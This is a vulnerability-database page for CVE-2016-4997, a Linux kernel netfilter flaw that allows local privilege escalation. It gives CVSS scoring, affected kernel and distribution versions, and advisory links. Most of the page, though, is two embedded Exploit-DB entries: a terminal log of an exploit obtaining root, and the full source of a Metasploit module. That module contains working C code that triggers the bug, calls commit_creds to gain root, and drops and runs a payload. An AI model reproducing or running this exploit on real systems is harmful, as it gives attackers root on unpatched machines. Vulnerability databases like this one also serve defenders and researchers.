CVE-2016-4997 : Detail

CVE-2016-4997

7.8
/
High
A01-Broken Access Control
0.5%V3
Local
2016-07-03
19h00 +00:00
2018-01-04
18h57 +00:00
CVE.org
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CVE Descriptions

The compat IPT_SO_SET_REPLACE and IP6T_SO_SET_REPLACE setsockopt implementations in the netfilter subsystem in the Linux kernel before 4.6.3 allow local users to gain privileges or cause a denial of service (memory corruption) by leveraging in-container root access to provide a crafted offset value that triggers an unintended decrement.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-264 Category : Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 7.8 HIGH CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 [email protected]
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 40489

Publication date : 2016-10-09 22h00 +00:00
Author : Qian Zhang
EDB Verified : No

# Exploit Title: Linux kernel <= 4.6.2 - Local Privileges Escalation via IP6T_SO_SET_REPLACE compat setsockopt call # Date: 2016.10.8 # Exploit Author: Qian Zhang@MarvelTeam Qihoo 360 # Version: Linux kernel <= 4.6.2 # Tested on: Ubuntu 16.04.1 LTS Linux 4.4.0-21-generic # CVE: CVE-2016-4997 # Reference:http://www.openwall.com/lists/oss-security/2016/09/29/10 # Contact: [email protected] #DESCRIPTION #=========== #The IPv6 netfilter subsystem in the Linux kernel through 4.6.2 does not validate certain offset fields, #which allows local users to escalade privileges via an IP6T_SO_SET_REPLACE compat setsockopt call with ip6_tables module loaded. zhang_q@ubuntu:~/ipv6_IP6T_SO_SET_REPLACE$ ls compile.sh enjoy enjoy.c pwn pwn.c version.h zhang_q@ubuntu:~/ipv6_IP6T_SO_SET_REPLACE$ sudo modprobe ip6_tables [sudo] password for zhang_q: zhang_q@ubuntu:~/ipv6_IP6T_SO_SET_REPLACE$ ./pwn pwn begin, let the bullets fly . . . and wait for a minute . . . pwn over, let's enjoy! preparing payload . . . trigger modified tty_release . . . got root, enjoy :) root@ubuntu:~/ipv6_IP6T_SO_SET_REPLACE# root@ubuntu:~/ipv6_IP6T_SO_SET_REPLACE# id uid=0(root) gid=0(root) groups=0(root) root@ubuntu:~/ipv6_IP6T_SO_SET_REPLACE# hostnamectl Static hostname: ubuntu Icon name: computer-vm Chassis: vm Machine ID: 355cdf4ce8a048288640c2aa933c018f Virtualization: vmware Operating System: Ubuntu 16.04.1 LTS Kernel: Linux 4.4.0-21-generic Architecture: x86-64 root@ubuntu:~/ipv6_IP6T_SO_SET_REPLACE# Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40489.zip
Exploit Database EDB-ID : 40435

Publication date : 2016-09-26 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require "msf/core" class MetasploitModule < Msf::Exploit::Local Rank = GoodRanking include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Linux Kernel 4.6.3 Netfilter Privilege Escalation', 'Description' => %q{ This module attempts to exploit a netfilter bug on Linux Kernels befoe 4.6.3, and currently only works against Ubuntu 16.04 (not 16.04.1) with kernel 4.4.0-21-generic. Several conditions have to be met for successful exploitation: Ubuntu: 1. ip_tables.ko (ubuntu), iptable_raw (fedora) has to be loaded (root running iptables -L will do such) 2. libc6-dev-i386 (ubuntu), glibc-devel.i686 & libgcc.i686 (fedora) needs to be installed to compile Kernel 4.4.0-31-generic and newer are not vulnerable. We write the ascii files and compile on target instead of locally since metasm bombs for not having cdefs.h (even if locally installed) }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die <[email protected]>', # Module 'vnik' # Discovery ], 'DisclosureDate' => 'Jun 03 2016', 'Platform' => [ 'linux'], 'Arch' => [ ARCH_X86 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [ [ 'Ubuntu', { } ] #[ 'Fedora', { } ] ], 'DefaultTarget' => 0, 'References' => [ [ 'EDB', '40049'], [ 'CVE', '2016-4997'], [ 'URL', 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=ce683e5f9d045e5d67d1312a42b359cb2ab2a13c'] ] )) register_options( [ OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]), OptInt.new('MAXWAIT', [ true, 'Max seconds to wait for decrementation in seconds', 180 ]), OptBool.new('REEXPLOIT', [ true, 'desc already ran, no need to re-run, skip to running pwn',false]), OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]) ], self.class) end def check def iptables_loaded?() # user@ubuntu:~$ cat /proc/modules | grep ip_tables # ip_tables 28672 1 iptable_filter, Live 0x0000000000000000 # x_tables 36864 2 iptable_filter,ip_tables, Live 0x0000000000000000 vprint_status('Checking if ip_tables is loaded in kernel') if target.name == "Ubuntu" iptables = cmd_exec('cat /proc/modules | grep ip_tables') if iptables.include?('ip_tables') vprint_good('ip_tables.ko is loaded') else print_error('ip_tables.ko is not loaded. root needs to run iptables -L or similar command') end return iptables.include?('ip_tables') elsif target.name == "Fedora" iptables = cmd_exec('cat /proc/modules | grep iptable_raw') if iptables.include?('iptable_raw') vprint_good('iptable_raw is loaded') else print_error('iptable_raw is not loaded. root needs to run iptables -L or similar command') end return iptables.include?('iptable_raw') else return false end end def shemsham_installed?() # we want this to be false. vprint_status('Checking if shem or sham are installed') shemsham = cmd_exec('cat /proc/cpuinfo') if shemsham.include?('shem') print_error('shem installed, system not vulnerable.') elsif shemsham.include?('sham') print_error('sham installed, system not vulnerable.') else vprint_good('shem and sham not present.') end return (shemsham.include?('shem') or shemsham.include?('sham')) end if iptables_loaded?() and not shemsham_installed?() return CheckCode::Appears else return CheckCode::Safe end end def exploit # first thing we need to do is determine our method of exploitation: compiling realtime, or droping a pre-compiled version. def has_prereqs?() vprint_status('Checking if 32bit C libraries, gcc-multilib, and gcc are installed') if target.name == "Ubuntu" lib = cmd_exec('dpkg --get-selections | grep libc6-dev-i386') if lib.include?('install') vprint_good('libc6-dev-i386 is installed') else print_error('libc6-dev-i386 is not installed. Compiling will fail.') end multilib = cmd_exec('dpkg --get-selections | grep ^gcc-multilib') if multilib.include?('install') vprint_good('gcc-multilib is installed') else print_error('gcc-multilib is not installed. Compiling will fail.') end gcc = cmd_exec('which gcc') if gcc.include?('gcc') vprint_good('gcc is installed') else print_error('gcc is not installed. Compiling will fail.') end return gcc.include?('gcc') && lib.include?('install') && multilib.include?('install') elsif target.name == "Fedora" lib = cmd_exec('dnf list installed | grep -E \'(glibc-devel.i686|libgcc.i686)\'') if lib.include?('glibc') vprint_good('glibc-devel.i686 is installed') else print_error('glibc-devel.i686 is not installed. Compiling will fail.') end if lib.include?('libgcc') vprint_good('libgcc.i686 is installed') else print_error('libgcc.i686 is not installed. Compiling will fail.') end multilib = false #not implemented gcc = false #not implemented return (lib.include?('glibc') && lib.include?('libgcc')) && gcc && multilib else return false end end compile = false if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True' if has_prereqs?() compile = true vprint_status('Live compiling exploit on system') else vprint_status('Dropping pre-compiled exploit on system') end end if check != CheckCode::Appears fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!') end desc_file = datastore["WritableDir"] + "/" + rand_text_alphanumeric(8) env_ready_file = datastore["WritableDir"] + "/" + rand_text_alphanumeric(8) pwn_file = datastore["WritableDir"] + "/" + rand_text_alphanumeric(8) payload_file = rand_text_alpha(8) payload_path = "#{datastore["WritableDir"]}/#{payload_file}" # direct copy of code from exploit-db, except removed the check for shem/sham and ip_tables.ko since we can do that in the check area here # removed #include <netinet/in.h> per busterb comment in PR 7326 decr = %q{ #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sched.h> #include <netinet/in.h> #include <linux/sched.h> #include <errno.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/ptrace.h> #include <net/if.h> #include <linux/netfilter_ipv4/ip_tables.h> #include <linux/netlink.h> #include <fcntl.h> #include <sys/mman.h> #define MALLOC_SIZE 66*1024 int decr(void *p) { int sock, optlen; int ret; void *data; struct ipt_replace *repl; struct ipt_entry *entry; struct xt_entry_match *ematch; struct xt_standard_target *target; unsigned i; sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW); if (sock == -1) { perror("socket"); return -1; } data = malloc(MALLOC_SIZE); if (data == NULL) { perror("malloc"); return -1; } memset(data, 0, MALLOC_SIZE); repl = (struct ipt_replace *) data; repl->num_entries = 1; repl->num_counters = 1; repl->size = sizeof(*repl) + sizeof(*target) + 0xffff; repl->valid_hooks = 0; entry = (struct ipt_entry *) (data + sizeof(struct ipt_replace)); entry->target_offset = 74; // overwrite target_offset entry->next_offset = sizeof(*entry) + sizeof(*ematch) + sizeof(*target); ematch = (struct xt_entry_match *) (data + sizeof(struct ipt_replace) + sizeof(*entry)); strcpy(ematch->u.user.name, "icmp"); void *kmatch = (void*)mmap((void *)0x10000, 0x1000, 7, 0x32, 0, 0); uint64_t *me = (uint64_t *)(kmatch + 0x58); *me = 0xffffffff821de10d; // magic number! uint32_t *match = (uint32_t *)((char *)&ematch->u.kernel.match + 4); *match = (uint32_t)kmatch; ematch->u.match_size = (short)0xffff; target = (struct xt_standard_target *)(data + sizeof(struct ipt_replace) + 0xffff + 0x8); uint32_t *t = (uint32_t *)target; *t = (uint32_t)kmatch; printf("[!] Decrementing the refcount. This may take a while...\n"); printf("[!] Wait for the \"Done\" message (even if you'll get the prompt back).\n"); for (i = 0; i < 0xffffff/2+1; i++) { ret = setsockopt(sock, SOL_IP, IPT_SO_SET_REPLACE, (void *) data, 66*1024); } close(sock); free(data); printf("[+] Done! Now run ./pwn\n"); return 0; } int main(void) { void *stack; int ret; printf("netfilter target_offset Ubuntu 16.04 4.4.0-21-generic exploit by vnik\n"); ret = unshare(CLONE_NEWUSER); if (ret == -1) { perror("unshare"); return -1; } stack = (void *) malloc(65536); if (stack == NULL) { perror("malloc"); return -1; } clone(decr, stack + 65536, CLONE_NEWNET, NULL); sleep(1); return 0; } } # direct copy of code from exploit-db pwn = %q{ #include <stdio.h> #include <string.h> #include <errno.h> #include <unistd.h> #include <stdint.h> #include <fcntl.h> #include <sys/mman.h> #include <assert.h> #define MMAP_ADDR 0xff814e3000 #define MMAP_OFFSET 0xb0 typedef int __attribute__((regparm(3))) (*commit_creds_fn)(uint64_t cred); typedef uint64_t __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(uint64_t cred); void __attribute__((regparm(3))) privesc() { commit_creds_fn commit_creds = (void *)0xffffffff810a21c0; prepare_kernel_cred_fn prepare_kernel_cred = (void *)0xffffffff810a25b0; commit_creds(prepare_kernel_cred((uint64_t)NULL)); } int main() { void *payload = (void*)mmap((void *)MMAP_ADDR, 0x400000, 7, 0x32, 0, 0); assert(payload == (void *)MMAP_ADDR); void *shellcode = (void *)(MMAP_ADDR + MMAP_OFFSET); memset(shellcode, 0, 0x300000); void *ret = memcpy(shellcode, &privesc, 0x300); assert(ret == shellcode); printf("[+] Escalating privs...\n"); int fd = open("/dev/ptmx", O_RDWR); close(fd); assert(!getuid()); printf("[+] We've got root!"); return execl("/bin/bash", "-sh", NULL); } } # the original code printed a line. However, this is hard to detect due to threading. # so instead we can write a file in /tmp to catch. decr.gsub!(/printf\("\[\+\] Done\! Now run \.\/pwn\\n"\);/, "int fd2 = open(\"#{env_ready_file}\", O_RDWR|O_CREAT, 0777);close(fd2);" ) # patch in to run our payload pwn.gsub!(/execl\("\/bin\/bash", "-sh", NULL\);/, "execl(\"#{payload_path}\", NULL);") def pwn(payload_path, pwn_file, pwn, compile) # lets write our payload since everythings set for priv esc vprint_status("Writing payload to #{payload_path}") write_file(payload_path, generate_payload_exe) cmd_exec("chmod 555 #{payload_path}") register_file_for_cleanup(payload_path) # now lets drop part 2, and finish up. rm_f pwn_file if compile print_status "Writing pwn executable to #{pwn_file}.c" rm_f "#{pwn_file}.c" write_file("#{pwn_file}.c", pwn) cmd_exec("gcc #{pwn_file}.c -O2 -o #{pwn_file}") register_file_for_cleanup("#{pwn_file}.c") else print_status "Writing pwn executable to #{pwn_file}" write_file(pwn_file, pwn) end register_file_for_cleanup(pwn_file) cmd_exec("chmod +x #{pwn_file}; #{pwn_file}") end if not compile # we need to override with our pre-created binary # pwn file path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4997', '2016-4997-pwn.out') fd = ::File.open( path, "rb") pwn = fd.read(fd.stat.size) fd.close # desc file path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4997', '2016-4997-decr.out') fd = ::File.open( path, "rb") decr = fd.read(fd.stat.size) fd.close # overwrite the hardcoded variable names in the compiled versions env_ready_file = '/tmp/okDjTFSS' payload_path = '/tmp/2016_4997_payload' end # check for shortcut if datastore['REEXPLOIT'] pwn(payload_path, pwn_file, pwn, compile) else rm_f desc_file if compile print_status "Writing desc executable to #{desc_file}.c" rm_f "#{desc_file}.c" write_file("#{desc_file}.c", decr) register_file_for_cleanup("#{desc_file}.c") output = cmd_exec("gcc #{desc_file}.c -m32 -O2 -o #{desc_file}") else write_file(desc_file, decr) end rm_f env_ready_file register_file_for_cleanup(env_ready_file) #register_file_for_cleanup(desc_file) if not file_exist?(desc_file) vprint_error("gcc failure output: #{output}") fail_with(Failure::Unknown, "#{desc_file}.c failed to compile") end if target.name == "Ubuntu" vprint_status "Executing #{desc_file}, may take around 35s to finish. Watching for #{env_ready_file} to be created." elsif target.name == "Fedora" vprint_status "Executing #{desc_file}, may take around 80s to finish. Watching for #{env_ready_file} to be created." end cmd_exec("chmod +x #{desc_file}; #{desc_file}") sec_waited = 0 until sec_waited > datastore['MAXWAIT'] do Rex.sleep(1) if sec_waited % 10 == 0 vprint_status("Waited #{sec_waited}s so far") end if file_exist?(env_ready_file) print_good("desc finished, env ready.") pwn(payload_path, pwn_file, pwn, compile) return end sec_waited +=1 end end end end

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version From (including) 2.6.17 To (excluding) 3.2.80

Linux>>Linux_kernel >> Version From (including) 3.3 To (excluding) 3.10.103

Linux>>Linux_kernel >> Version From (including) 3.11 To (excluding) 3.12.62

Linux>>Linux_kernel >> Version From (including) 3.13 To (excluding) 3.14.73

Linux>>Linux_kernel >> Version From (including) 3.15 To (excluding) 3.16.37

Linux>>Linux_kernel >> Version From (including) 3.17 To (excluding) 3.18.37

Linux>>Linux_kernel >> Version From (including) 3.19 To (excluding) 4.1.28

Linux>>Linux_kernel >> Version From (including) 4.2 To (excluding) 4.4.14

Linux>>Linux_kernel >> Version From (including) 4.5 To (excluding) 4.6.3

Configuraton 0

Canonical>>Ubuntu_linux >> Version 12.04

Canonical>>Ubuntu_linux >> Version 14.04

Canonical>>Ubuntu_linux >> Version 15.10

Canonical>>Ubuntu_linux >> Version 16.04

Configuraton 0

Novell>>Suse_linux_enterprise_software_development_kit >> Version 12.0

Novell>>Suse_linux_enterprise_software_development_kit >> Version 12.0

Novell>>Suse_linux_enterprise_desktop >> Version 12.0

Novell>>Suse_linux_enterprise_desktop >> Version 12.0

Novell>>Suse_linux_enterprise_live_patching >> Version 12.0

    Novell>>Suse_linux_enterprise_module_for_public_cloud >> Version 12.0

      Novell>>Suse_linux_enterprise_real_time_extension >> Version 12.0

        Novell>>Suse_linux_enterprise_server >> Version 12.0

        Novell>>Suse_linux_enterprise_server >> Version 12.0

        Novell>>Suse_linux_enterprise_workstation_extension >> Version 12.0

        Novell>>Suse_linux_enterprise_workstation_extension >> Version 12.0

        Configuraton 0

        Oracle>>Linux >> Version 7

        Configuraton 0

        Debian>>Debian_linux >> Version 8.0

        References

        http://www.ubuntu.com/usn/USN-3017-1
        Tags : vendor-advisory, x_refsource_UBUNTU
        http://www.ubuntu.com/usn/USN-3017-3
        Tags : vendor-advisory, x_refsource_UBUNTU
        http://rhn.redhat.com/errata/RHSA-2016-1847.html
        Tags : vendor-advisory, x_refsource_REDHAT
        http://www.ubuntu.com/usn/USN-3018-2
        Tags : vendor-advisory, x_refsource_UBUNTU
        http://www.ubuntu.com/usn/USN-3017-2
        Tags : vendor-advisory, x_refsource_UBUNTU
        http://rhn.redhat.com/errata/RHSA-2016-1875.html
        Tags : vendor-advisory, x_refsource_REDHAT
        http://www.ubuntu.com/usn/USN-3019-1
        Tags : vendor-advisory, x_refsource_UBUNTU
        http://www.debian.org/security/2016/dsa-3607
        Tags : vendor-advisory, x_refsource_DEBIAN
        http://www.ubuntu.com/usn/USN-3016-2
        Tags : vendor-advisory, x_refsource_UBUNTU
        http://www.ubuntu.com/usn/USN-3016-1
        Tags : vendor-advisory, x_refsource_UBUNTU
        http://www.openwall.com/lists/oss-security/2016/06/24/5
        Tags : mailing-list, x_refsource_MLIST
        https://www.exploit-db.com/exploits/40435/
        Tags : exploit, x_refsource_EXPLOIT-DB
        http://www.ubuntu.com/usn/USN-3018-1
        Tags : vendor-advisory, x_refsource_UBUNTU
        http://www.securitytracker.com/id/1036171
        Tags : vdb-entry, x_refsource_SECTRACK
        https://www.exploit-db.com/exploits/40489/
        Tags : exploit, x_refsource_EXPLOIT-DB
        http://rhn.redhat.com/errata/RHSA-2016-1883.html
        Tags : vendor-advisory, x_refsource_REDHAT
        http://www.ubuntu.com/usn/USN-3016-3
        Tags : vendor-advisory, x_refsource_UBUNTU
        http://www.openwall.com/lists/oss-security/2016/09/29/10
        Tags : mailing-list, x_refsource_MLIST
        http://www.ubuntu.com/usn/USN-3016-4
        Tags : vendor-advisory, x_refsource_UBUNTU
        http://www.securityfocus.com/bid/91451
        Tags : vdb-entry, x_refsource_BID
        http://www.ubuntu.com/usn/USN-3020-1
        Tags : vendor-advisory, x_refsource_UBUNTU